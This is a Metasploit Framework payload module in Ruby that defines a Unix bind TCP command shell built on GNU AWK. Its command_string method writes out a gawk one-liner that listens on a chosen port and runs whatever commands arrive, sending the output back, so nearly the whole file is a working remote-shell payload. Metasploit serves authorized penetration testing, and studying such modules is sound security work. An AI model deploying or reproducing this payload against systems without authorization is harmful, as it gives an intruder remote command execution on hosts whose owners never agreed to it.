1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 140
8

9
  include Msf::Payload::Single
10
  include Msf::Sessions::CommandShellOptions
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
17
        'Description' => 'Listen for a connection and spawn a command shell via GNU AWK',
18
        'Author' => [
19
          'espreto <robertoespreto[at]gmail.com>',
20
          'Ulisses Castro <uss.thebug[at]gmail.com>'
21
        ],
22
        'License' => MSF_LICENSE,
23
        'Platform' => 'unix',
24
        'Arch' => ARCH_CMD,
25
        'Handler' => Msf::Handler::BindTcp,
26
        'Session' => Msf::Sessions::CommandShell,
27
        'PayloadType' => 'cmd',
28
        'RequiredCmd' => 'gawk',
29
        'Payload' => {
30
          'Offsets' => {},
31
          'Payload' => ''
32
        }
33
      )
34
    )
35
  end
36

37
  #
38
  # Constructs the payload
39
  #
40
  def generate(_opts = {})
41
    super + command_string
42
  end
43

44
  #
45
  # Returns the command string to use for execution
46
  #
47
  def command_string
48
    awkcmd = <<~AWK
49
      awk 'BEGIN{
50
        s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";
51
        do{
52
          if((s|&getline c)<=0)
53
            break;
54
          if(c){
55
            while((c|&getline)>0)print $0|&s;
56
            close(c)
57
          }
58
        } while(c!=\"exit\")
59
        close(s)
60
      }'
61
    AWK
62
    awkcmd.gsub!("\n", '').gsub!('  ', '')
63
  end
64
end
65

66